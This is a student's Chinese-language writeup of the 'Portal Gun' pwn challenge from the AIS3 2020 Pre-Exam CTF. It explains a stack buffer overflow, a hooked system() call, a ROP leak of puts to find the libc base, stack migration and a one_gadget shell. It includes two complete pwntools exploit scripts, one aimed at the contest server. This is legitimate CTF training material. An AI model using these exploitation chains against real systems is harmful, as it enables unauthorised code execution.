AIS3 2020 Pre-Exam CTF Portal Gun Writeup
Author: Sophie Shin
Time: 2020/06/10 10:00 A.M.
為了配合AIS3要抽選手繳交 wirteup,就延後發文了
前言
2019 第一次參加 MyFirstCTF 之後有幸錄取 AIS3 課程,便開始入坑 pwn
在那之前完全沒碰過組合語言,計算機組織也直到今年(大三)才修,
入坑一開始極其痛苦,發現很多觀念還沒學得很扎實,便開始看原文書《Computer Systems. A Programmer’s Perspective》,並且參與台灣好厲駭計畫,聆聽線上課程資源。
去年只解出 BOF,今年的 pwn 很幸運的解出了 3 題,也靠 pwn 才足以進 Pre-Exam 前一百名,但還是有待加強!
Portal Gun 應該是我至今解過算是很有挑戰的題目 (等級還不足XD),就認真寫了 Writeup
使用的分析工具
- GDB-peda
- objdump
- readelf
- ROPgadget
- onegadget
- r2
流程
-
使用
file
指令觀察: -
接著使用
checksec
指令 (GDB-peda 有內建也可以使用)
發現檔案並沒有開啟 Canary 保護
此題透過 objdump
或 r2
觀察後發現,裡面有 import system()
函式,因此可先以 Buffer overflow 的手法來 hook system()
- 使用
objdump -d -M intel ./portal_gun | less
來觀察整個程式行為
objdump 工具的方便在於,可直接觀察整個程式的流程,並且可透過搜尋或grep
的方式,來直接判斷是否有可用的進入點,例如是否有 importsystem()
,或是呼叫system("/bin/sh")
等。
嘗試寫了腳本,在本地端確實成功地執行 shell !
from pwn import *
offset = 0x70
call_sys = 0x4006e8
payload = 'a'*offset + p64(call_sys)
p = process("./portal_gun")
#p = remote("60.250.197.227", 10002)
p.recvline()
p.recvline()
p.sendline(payload)
p.interactive()
p.close()
以為這樣就能成功,但是… Hook Dection!
仔細思考,題目除了給 portal gun
檔案,還給了 libc.so.6
和 hook.so
使用 r2
觀察 hook.so
裡 system()
被呼叫的行為,只有單純印出 ** system function hook **
就 return 了,也就是說 此題的 portal_gun
有將 system()
的程式行為竄改過,因為引入了 hook.so
的 system()
來使用
因此,我們必須使用 libc.so.6
計算出 C library base address 來取得 shell,難度頓時增加許多。
- 計算 library base address
使用readelf -a libc.so.6 | grep "puts"
來找出puts()
在libc.so.6
的 offset
再透過 BOF 的手法來使用 gets 函數,
使用 ROPgadget --binary portal_gun | grep "pop rdi.*ret$"
找出可用的 gadget pop rdi ; ret
後,便可在 return 到 puts()
前,放入 puts_got
的位址,之後在 return 到 puts()
時,便能 leak 出 puts 在程式實際執行的位址,計算出實際的 library base address
計算出 base 位址後,使用 onegadget libc.so.6
找出執行 execve("/bin/sh", 0, 0);
的 offset,加上 base 之後,即實際的執行位址 (變動的)
- return gets(),使用 ROP 手法輸入 gadgets
使用pop rdi ; ret
這個 gadget,放入 data section 的位址 (要寫入的位址),在 return 到gets()
時,就會再次將 payload 輸入到 data section 中
並使用 leave; ret
的 gadget ,來達到 stack migration 的手法,將 stack pointer 挪到 data section 使用,以便執行一連串的手法來執行 shell
解法如下:
from pwn import *
puts_got = 0x601018
libc_puts = 0x0809c0
one_gadget = 0x4f322
call_puts = 0x400560
call_gets = 0x400580
main = 0x400720
offset = 0x70 # 0x70+8 to return
data_sec = 0x601040
pop_rdi = 0x4007a3 # pop rdi ; ret
ret = 0x400291 # ret
pop_rbp = 0x400608 # pop rbp ; ret
leave = 0x40073b # leave ; ret
#p = process("./portal_gun")
p = remote("60.250.197.227", 10002)
p.recvline()
p.recvline()
payload = 'a'*offset + p64(data_sec) + p64(pop_rdi) + p64(puts_got) + p64(call_puts)
payload += p64(pop_rdi) + p64(data_sec) + p64(call_gets)
payload += p64(leave) + p64(data_sec) + p64(leave)
p.sendline(payload)
# leak
leak_addr = p.recvline()
puts_run_address = u64(leak_addr[:-1].ljust(8, "\x00")) # u64
print(hex(puts_run_address))
base = puts_run_address - libc_puts
call_shell = base + one_gadget
# input payload in data section
payload = p64(call_shell) + p64(ret) + p64(ret) + p64(call_shell)
p.sendline(payload)
p.interactive()
p.close()